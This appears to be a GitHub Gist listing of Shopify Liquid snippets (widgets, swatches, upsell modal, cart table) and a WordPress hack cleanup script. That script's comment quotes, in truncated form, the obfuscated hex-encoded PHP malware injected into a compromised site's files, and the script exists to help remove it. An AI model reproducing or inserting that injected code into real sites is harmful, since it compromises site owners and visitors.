Skip to content

Instantly share code, notes, and snippets.

@seedcms
seedcms / funding-tracker-minimal.html
Created August 27, 2015 06:35
Crowd Visibility Minimal Widget Code
<!-- funding tracker widget -->
<div class="flex_header_full" style="display: none">
<!-- header image here -->
</div>
<div style="" id="funding_tracker" data-id="{{ product.id }}" data-shop="{{ shop.permanent_domain | escape }}"></div>
<div class="tracking_wrapper" style="display: none; background: none;">
<div class="tracking_inner">
<div style="display: none;" class="tracking_title fund_title"></div>
<div style="display: none;" class="progress_left fund_raised"></div>
<div class="progress_bar" style="max-height: 10px; background: #ccc; ">
@seedcms
seedcms / wordpress-hack-cleanup.php
Last active October 12, 2015 18:56 — forked from owise1/wordpress-hack-cleanup.php
Hacked Wordpress Cleanup Script
<?php
/**
* A script to cleanup a hacked Wordpress site.
*
* The hacker prepended the following to most/all of the .php files:
* <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $uispnwkeuy = 'c%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sbx7825))!gj!<*#cd2bge56+99386c825tzw%x5c%x782f%x5c%75%156%x61"]=1; functio8y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvx7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuop%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5cpd%x5c%x78256<pd%x5c%x7825w6Zj%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]2212]445]43]321]464]284]364]6]234]342]58]24]315c%x5c%x7825j^%x5c%x7824-%x5c%x782
@seedcms
seedcms / How To Use Shopify Upsell Modal
Last active May 18, 2022 17:26
Shopify Upsell Modal
1. add snippet to cart.liquid file at the bottom of the file
{% include 'upsell-modal' %}
2. add css to theme.liquid in the header
{{ 'upsell-modal.scss' | asset_url | stylesheet_tag }}
@seedcms
seedcms / gist:156cf4220e2c6b382b6d40e7dc2602ca
Created April 18, 2016 19:31 — forked from carolineschnapp/gist:9122054
Order form to use in a page or collection template.
{% comment %}
Source: https://gist.github.com/carolineschnapp/9122054
If you are not on a collection page, do define which collection to use in the order form.
Use the following assign statement, replace 'your-collection-handle-here' with your collection handle.
{% assign collection = collections.your-collection-handle-here %}
Use the assign statement outside of this comment block at the top of your template.
{% endcomment %}
{% paginate collection.products by 100 %}
@seedcms
seedcms / lookbook-apps.liquid
Created May 29, 2016 00:25
Lookbook Snippet V4
<link href='//pressify.s3.amazonaws.com/assets/fancybox/source/jquery.fancybox.css' rel='stylesheet' type='text/css'>
<script src="//pressify.s3.amazonaws.com/assets/fancybox/source/jquery.fancybox.js" type="text/javascript"></script>
<script src="//npmcdn.com/masonry-layout@4.0/dist/masonry.pkgd.min.js"></script>
<script src="//npmcdn.com/imagesloaded@4.1/imagesloaded.pkgd.min.js"></script>
<link href='//pressify.s3.amazonaws.com/assets/bxslider/jquery.bxslider.css' rel='stylesheet' type='text/css'>
<script src="//pressify.s3.amazonaws.com/assets/bxslider/jquery.bxslider.min.js"></script>
<div class="lookbook_details" style=""></div>
<script>
jQuery(document).ready(function(){
// app domain
@seedcms
seedcms / snippet-gallery.liquid
Created July 20, 2016 08:54
shopify - javascript random image display
@seedcms
seedcms / other-product-swatches.liquid
Last active January 4, 2018 16:40
other-product-swatches-v-001.4
<div class="product-swatches-{{product.id}}"></div>
<div style="clear:both;"></div>
<script>
jQuery(document).ready(function(){
var appDomain = '//productswatches.herokuapp.com';
var url = appDomain + '/product_swatches/get-json/{{product.id}}';
var data = {
return_format: 'html',
product_id:'{{product.id}}',
tooltip: 'yes',
@seedcms
seedcms / new-content-for-header.liquid
Created October 31, 2016 20:14 — forked from freakdesign/new-content-for-header.liquid
Detect if an admin is logged into Shopify using liquid.
<!--
Simple method for detecting an Admin in Shopify using liquid.
Quick code by jason at freakdesign.com.au
Related Blog post: http://freakdesign.com.au/blogs/news/34154561
-->
{% capture CFH %}{{ content_for_header }}{% endcapture %}{{ CFH }}
{% if CFH contains 'admin_bar_iframe' %}
@seedcms
seedcms / product-swatches-json.liquid
Last active July 9, 2019 08:59
Product Swatches APP JSON example
<div class="swatchslider">
<ul class="slides product-swatches-{{product.id}}"></ul>
</div>
<div style="clear:both;"></div>
<script>
/*$(window).load(function() {
$('.swatchslider').flexslider({
animation: "slide",
animationLoop: false,
@seedcms
seedcms / cart.liquid
Created January 18, 2017 22:26
Cart table before the script editor code.
<table class="cart">
<thead class="heading">
<tr>
<th>Product</th>
<th>Quantity</th>
<th>Total</th>
</tr>
</thead>
<tbody class="line-items">